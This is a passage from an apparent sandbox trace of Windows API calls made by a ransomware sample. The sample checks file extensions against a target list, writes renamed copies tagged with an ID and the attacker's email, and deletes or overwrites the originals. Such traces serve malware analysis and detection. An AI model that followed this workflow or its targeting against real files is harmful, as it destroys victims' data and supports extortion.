lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.571] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0084.571] SetEndOfFile (hFile=0x318) returned 1 [0084.571] CloseHandle (hObject=0x318) returned 1 [0084.572] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.573] SetEndOfFile (hFile=0x314) returned 1 [0084.574] CloseHandle (hObject=0x314) returned 1 [0084.574] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.574] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0084.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.575] lstrlenW (lpString=".doc") returned 4 [0084.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.575] lstrlenW (lpString=".docx") returned 5 [0084.575] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.575] lstrlenW (lpString=".pdf") returned 4 [0084.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.575] lstrlenW (lpString=".xls") returned 4 [0084.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.575] lstrlenW (lpString=".xlsx") returned 5 [0084.575] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.575] lstrlenW (lpString=".ppt") returned 4 [0084.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.575] lstrlenW (lpString=".zip") returned 4 [0084.575] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.575] lstrlenW (lpString=".rar") returned 4 [0084.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.576] lstrlenW (lpString=".bz2") returned 4 [0084.576] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.576] lstrlenW (lpString=".7z") returned 3 [0084.576] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.576] lstrlenW (lpString=".dbf") returned 4 [0084.576] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.576] lstrlenW (lpString=".1cd") returned 4 [0084.576] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.576] lstrlenW (lpString=".jpg") returned 4 [0084.576] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.576] lstrlenW (lpString=".doc") returned 4 [0084.576] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.576] lstrlenW (lpString=".docx") returned 5 [0084.576] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.576] lstrlenW (lpString=".pdf") returned 4 [0084.576] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.576] lstrlenW (lpString=".xls") returned 4 [0084.576] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.576] lstrlenW (lpString=".xlsx") returned 5 [0084.576] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.577] lstrlenW (lpString=".ppt") returned 4 [0084.577] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.577] lstrlenW (lpString=".zip") returned 4 [0084.577] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.577] lstrlenW (lpString=".rar") returned 4 [0084.577] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.577] lstrlenW (lpString=".bz2") returned 4 [0084.577] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.577] lstrlenW (lpString=".7z") returned 3 [0084.577] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.577] lstrlenW (lpString=".dbf") returned 4 [0084.577] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.577] lstrlenW (lpString=".1cd") returned 4 [0084.577] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.577] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0084.577] lstrlenW (lpString=".jpg") returned 4 [0084.577] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.577] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0084.577] lstrlenW (lpString="SetupResources.dll") returned 18 [0084.578] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.578] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=18264) returned 1 [0084.578] CloseHandle (hObject=0x314) returned 1 [0084.578] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0084.578] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.578] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0084.578] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.578] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.579] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0084.579] GetLastError () returned 0x0 [0084.579] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x4758, lpOverlapped=0x0) returned 1 [0084.581] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x4760, lpOverlapped=0x0) returned 1 [0084.583] ReadFile (in: hFile=0x314, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.583] WriteFile (in: hFile=0x318, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf8, lpOverlapped=0x0) returned 1 [0084.583] SetEndOfFile (hFile=0x318) returned 1 [0084.583] CloseHandle (hObject=0x318) returned 1 [0084.587] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.587] SetEndOfFile (hFile=0x314) returned 1 [0084.588] CloseHandle (hObject=0x314) returned 1 [0084.588] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.589] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0084.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.589] lstrlenW (lpString=".doc") returned 4 [0084.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.590] lstrlenW (lpString=".docx") returned 5 [0084.590] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.590] lstrlenW (lpString=".pdf") returned 4 [0084.590] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.590] lstrlenW (lpString=".xls") returned 4 [0084.590] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.590] lstrlenW (lpString=".xlsx") returned 5 [0084.590] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.590] lstrlenW (lpString=".ppt") returned 4 [0084.590] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.590] lstrlenW (lpString=".zip") returned 4 [0084.590] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.590] lstrlenW (lpString=".rar") returned 4 [0084.590] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.590] lstrlenW (lpString=".bz2") returned 4 [0084.590] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.590] lstrlenW (lpString=".7z") returned 3 [0084.590] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.590] lstrlenW (lpString=".dbf") returned 4 [0084.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.590] lstrlenW (lpString=".1cd") returned 4 [0084.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.591] lstrlenW (lpString=".jpg") returned 4 [0084.591] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.591] lstrlenW (lpString=".doc") returned 4 [0084.591] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0084.591] lstrlenW (lpString=".docx") returned 5 [0084.591] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0084.591] lstrlenW (lpString=".pdf") returned 4 [0084.591] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0084.591] lstrlenW (lpString=".xls") returned 4 [0084.591] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0084.591] lstrlenW (lpString=".xlsx") returned 5 [0084.591] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0084.591] lstrlenW (lpString=".ppt") returned 4 [0084.591] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0084.591] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.591] lstrlenW (lpString=".zip") returned 4 [0084.591] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0084.591] lstrlenW (lpString=".rar") returned 4 [0084.591] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0084.591] lstrlenW (lpString=".bz2") returned 4 [0084.591] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0084.591] lstrlenW (lpString=".7z") returned 3 [0084.591] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0084.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.592] lstrlenW (lpString=".dbf") returned 4 [0084.592] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0084.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.592] lstrlenW (lpString=".1cd") returned 4 [0084.592] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0084.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0084.592] lstrlenW (lpString=".jpg") returned 4 [0084.592] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0084.592] Sleep (dwMilliseconds=0x64) [0085.240] Sleep (dwMilliseconds=0x64) [0085.924] Sleep (dwMilliseconds=0x64) [0086.774] Sleep (dwMilliseconds=0x64) [0087.335] Sleep (dwMilliseconds=0x64) [0088.001] Sleep (dwMilliseconds=0x64) [0088.249] Sleep (dwMilliseconds=0x64) [0088.502] Sleep (dwMilliseconds=0x64) [0088.783] Sleep (dwMilliseconds=0x64) [0089.180] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0089.180] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0089.180] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0089.189] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=1150) returned 1 [0089.189] CloseHandle (hObject=0x350) returned 1 [0089.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0089.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0089.190] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.190] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0089.190] GetLastError () returned 0x0 [0089.191] ReadFile (in: hFile=0x350, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x47e, lpOverlapped=0x0) returned 1 [0089.192] WriteFile (in: hFile=0x34c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x480, lpOverlapped=0x0) returned 1 [0089.194] ReadFile (in: hFile=0x350, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.194] WriteFile (in: hFile=0x34c, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xf4, lpOverlapped=0x0) returned 1 [0089.194] SetEndOfFile (hFile=0x34c) returned 1 [0089.194] CloseHandle (hObject=0x34c) returned 1 [0089.195] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.195] SetEndOfFile (hFile=0x350) returned 1 [0089.196] CloseHandle (hObject=0x350) returned 1 [0089.196] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0089.196] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0089.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.196] lstrlenW (lpString=".doc") returned 4 [0089.196] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.196] lstrlenW (lpString=".docx") returned 5 [0089.196] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0089.197] lstrlenW (lpString=".pdf") returned 4 [0089.197] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.197] lstrlenW (lpString=".xls") returned 4 [0089.197] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.197] lstrlenW (lpString=".xlsx") returned 5 [0089.197] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0089.197] lstrlenW (lpString=".ppt") returned 4 [0089.197] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.197] lstrlenW (lpString=".zip") returned 4 [0089.197] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.197] lstrlenW (lpString=".rar") returned 4 [0089.197] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.197] lstrlenW (lpString=".bz2") returned 4 [0089.197] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.197] lstrlenW (lpString=".7z") returned 3 [0089.197] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.197] lstrlenW (lpString=".dbf") returned 4 [0089.197] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.197] lstrlenW (lpString=".1cd") returned 4 [0089.197] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.197] lstrlenW (lpString=".jpg") returned 4 [0089.197] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.197] lstrlenW (lpString=".doc") returned 4 [0089.197] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.197] lstrlenW (lpString=".docx") returned 5 [0089.198] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0089.198] lstrlenW (lpString=".pdf") returned 4 [0089.198] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.198] lstrlenW (lpString=".xls") returned 4 [0089.198] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.198] lstrlenW (lpString=".xlsx") returned 5 [0089.198] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0089.198] lstrlenW (lpString=".ppt") returned 4 [0089.198] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.198] lstrlenW (lpString=".zip") returned 4 [0089.198] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.198] lstrlenW (lpString=".rar") returned 4 [0089.198] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.198] lstrlenW (lpString=".bz2") returned 4 [0089.198] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.198] lstrlenW (lpString=".7z") returned 3 [0089.198] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.198] lstrlenW (lpString=".dbf") returned 4 [0089.198] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.198] lstrlenW (lpString=".1cd") returned 4 [0089.198] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.198] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0089.198] lstrlenW (lpString=".jpg") returned 4 [0089.198] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.198] lstrcmpiW (lpString1=".msi", lpString2=".kr") returned 1 [0089.199] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0089.199] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0089.199] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=1901056) returned 1 [0089.199] CloseHandle (hObject=0x350) returned 1 [0089.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0089.200] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.200] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0089.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0089.201] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc64 | out: lpNewFilePointer=0x0) returned 1 [0089.201] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc24 | out: lpNewFilePointer=0x0) returned 1 [0089.201] ReadFile (in: hFile=0x350, lpBuffer=0x4121058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x4121058*, lpNumberOfBytesRead=0x3b9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0089.206] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc24 | out: lpNewFilePointer=0x0) returned 1 [0089.206] ReadFile (in: hFile=0x350, lpBuffer=0x4161058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x4161058*, lpNumberOfBytesRead=0x3b9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0089.211] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3b9fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.211] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc24 | out: lpNewFilePointer=0x0) returned 1 [0089.211] ReadFile (in: hFile=0x350, lpBuffer=0x41a1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x41a1058*, lpNumberOfBytesRead=0x3b9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0089.525] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.526] WriteFile (in: hFile=0x350, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x3b9fca8, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0089.588] SetEndOfFile (hFile=0x350) returned 1 [0089.589] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x4293e80 [0089.594] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc74 | out: lpNewFilePointer=0x0) returned 1 [0089.595] WriteFile (in: hFile=0x350, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x3b9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0089.596] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc74 | out: lpNewFilePointer=0x0) returned 1 [0089.596] WriteFile (in: hFile=0x350, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x3b9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0089.599] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x190200, 